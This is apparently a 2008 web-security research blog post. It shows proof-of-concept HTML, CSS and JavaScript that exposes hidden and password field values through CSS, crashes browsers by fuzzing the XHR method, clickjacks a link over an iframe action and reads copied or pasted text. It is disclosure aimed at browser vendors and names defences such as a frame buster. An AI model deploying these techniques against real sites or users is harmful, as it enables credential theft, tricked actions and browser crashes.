November 03, 2008

Hidden fields vs. CSS

Intro

A hidden field is supposed to be hidden - invisible for the user as long as he uses an unmodified browser and isn't watching the sources via view-source: or similar. Not to forget the agnostic regarding mouseover, error, load, focus and other events. So for example if an attacker manages to inject content into one of the hidden field's attributes and can't break out the attack window is very small.

Some markup

So it's not very surprising that most user agents treat a hidden field as hidden - no matter what styles have been applied to the element. The following code should thus result in a plain white page without any visible elements or even event handlers waiting for interaction.

<html>
<head>
</head>
<body>
<form action="#">
<input type="hidden" id="hidden" value="secret!" />
</form>
</body>
</html>
<style>
input[type=hidden] {
 display: block;
 height: 100px;
 border: 2px solid red;
}
</style>
<script>
document.getElementById('hidden').onmouseover = function(){
 alert(this.value);
};
</script>

And yes - all browsers show a white page - IE6-8, Chrome, Opera, even Safari. Only Firefox shows a big red bordered bar which responses with an alert when hovered with the cursor. The element can even be selected via CSS pseudo classes.

<html>
<head>
</head>
<body>
<form action="#">
<input type="hidden" id="hidden" value="secret!" />
</form>
</body>
</html>
<style>
input[type=hidden] {
 display: block;
 height: 100px;
 border: 2px solid red;
}
input:hover {
 border: 2px solid green;
}
</style>

Of course it's also possible to extract password field values with that technique

<html>
<head>
<style>
input {
 a:expression(alert(this.value));
}
</style>
</head>
<body>
<form action="#">

<input
 type="password"
 value="secret!"
/>
</form>
</body>
</html>

Opera by the way provides a very special way to extract passwords in clear text - with the :after or :before pseudo classes and the attr() value for the content property.

<html>
<head>
<style>
input[type=password]:after {
 content: attr(value);
}
</style>
</head>
<body>
<form action="#">

<input
 type="password"
 value="secret!"
/>
</form>
</body>
</html>

We are losing track with the password fields - and will be talking about them in a later article anyway so back to the hidden fields.

In IE6-8b2 you can of course inject expression() CSS - but the CSS selector input[type=hidden] doesn't work. So surprisingly it's possible to select just input and filter the hidden fields in the expression statement afterwards with just input as selector.

Conclusion

IE6-8 allow to select hidden input fields with CSS and bind JavaScript code. That's not very nice but possible to coexist with. Firefox on the other hand really shows how not to do it again. Making hidden fields visible with CSS is definitely crossing a border - at least the one between data and presentation.

It's also possible in FF3 to select hidden fields via CSS - be it with input[type="hidden"], input[type^="hid"], input[type$="den"], input[type|="hidden"] or even input[type~="hidden"].

And just by the way - this shouldn't be possible either:

<html>
<body>
<form action="#">
<input type="hidden" id="hidden" value="secret!" />
</form>
</body>
</html>

<label for="hidden">Click</label>
<script>
document.getElementById('hidden').onclick = function(){
  alert(this.value);
};
</script>

XHR Request method fuzzing

Intro

The JavaScript XHR API allows the developer to chose the used request method - and surprisingly most user agents don not validate this value before actually firing the request. This leads to certain interesting problems - like the following code shows.

Code

Here we chose a very long string consisting of $ signs - string length should be around 8 million characters.

<html>
<head>
<body>
<script>
    var x = new XMLHttpRequest();
    var m = '$$';
    for(var i=0; i <= 21; i++) {
        m += m;
    }
    x.open(m, '404.html', false);
    x.send(null);
</script>
</body>
</html>

Conclusion

The result of the above code being executed is surprising. The latest Chrome release for example crashes in terror producing pop ups all over the screen. Firefox most times freezes the whole system for a long time - but no real crashes yet. Safari just dies silently and Opera isn't impressed at all. IE7 and 8 throw an error message about an invalid argument - indicating a working white-list too.

These examples again show why validation is important for all values being editable by the user, developer or attacker. The Chrome issue has by the way been reported several weeks ago.

Clickjacking and event handlers

Intro

The term click-jacking has been around for some weeks including the usual FUD. One of the most substantial reasons for this markup based problem is the fact that combining absolute positioning with smart event handling leads to trouble.

It's (of course) possible to place an IFrame in a sites markup and overlap certain elements in it with DIVs and other elements. The JavaScript event handling model or even plain CSS declarations now allow altering the visibility state of the overlapping elements and controlling the events bound to the element - for example when hovering it.

Some markup

This is a very basic example that simply toggles the links visibility when hovered and thus makes sure that the overlapped link will be clicked.

<html>
<head>
<style>
    html, * {
        padding: 0;
        margin: 0;
        border: 0;
    }
    a#link {
        position: absolute;
        left: 8px;
        top: 8px;
        _left: 12px;
        _top: 17px;
    }
    a#link:hover {
        visibility: hidden;
    }
</style>
</head>
<body>
<iframe id="iframe" src="good.php"></iframe>
<a id="link" href="bad.html">Click</a>
<div id="info"></div>
</body>
</html>

There's no event handling yet - but since the whole action probably happens on the attacker's domain this feature can be added via XBL or expression() and maybe someday the W3C binding(). If XBL or comparable is not an option the click theft including event management can still be done with plain JavaScript.

<html>
<head>
<style>
    html, * {
        padding: 0;
        margin: 0;
        border: 0;
    }
    a#link {
        position: absolute;
        left: 8px;
        top: 8px;
        _left: 12px;
        _top: 17px;
    }
</style>
</head>
<body>
<iframe id="iframe" src="good.html?deletemyaccount"></iframe>
<a id="link" href="bad.html">Click</a>
<div id="info"></div>
<script>
    var link    = document.getElementById('link');
    link.onmouseover = function() {
        this.style.display = 'none';
        document.getElementById('info').innerHTML = 'just hovered: ' + this.href + '<br>';
        setTimeout(function() {
            link.style.display = 'inline';
        },150);
    }

</script>
</body>
</html>

Conclusion

Both rather simple examples work in FF3, IE8 and Safari. Opera works quite fine with the first one but has some problems with the second variant. It's needless to say what can be done with this technique. In the described examples a simple frame buster turns out to be useful.

if(top !== self) {
    top.location.href = self.location.href;
}

Nevertheless the victim of this attack technique has to visit a website controlled by the attacker - either via a phishing attempt or a cross site scripted 3rd party website. The Firefox extension NoScript meanwhile offers quite good protection against most click-jacking scenarios.

Oncopy/oncut/onpaste in FF3

Intro

It's not really new and has been available with the first FF3 revisions. But at least the question remains if copying useless and non-standard features from IE is really such a good idea.

The mentioned events do not exactly enable clipboard stealing but compared to the ancient onselect it's easier to grab user selections from arbitrary tags - and not just from form elements. Also there's some kind of relevancy bonus too. If a user copies some text from a website this text is probably important for him - and therefore also interesting for an eavesdropper who cross site scripted the affected website.

Code

Let's have a look at some code

<html>
<head>
</head>
<body
  oncopy="alert(getSelection().getRangeAt(0).extractContents().textContent)"
  oncut="alert(getSelection().getRangeAt(0).extractContents().textContent)"
  >
<p>copy/cut/paste me!</p>
<textarea
  id="paste"
  onpaste="setTimeout(function(){alert(document.getElementById('paste').value)},50)">
</textarea>
</body>
</html>

Conclusion

This is neither new nor very hot but an example for copying a 'bad idea' feature from a 'bad idea' browser (not speaking of IE8 yet but earlier versions) and widens the attack window against the user and their privacy. Rebuilding proprietary features invented by the IE team is one thing - picking those which could be security critical is something else.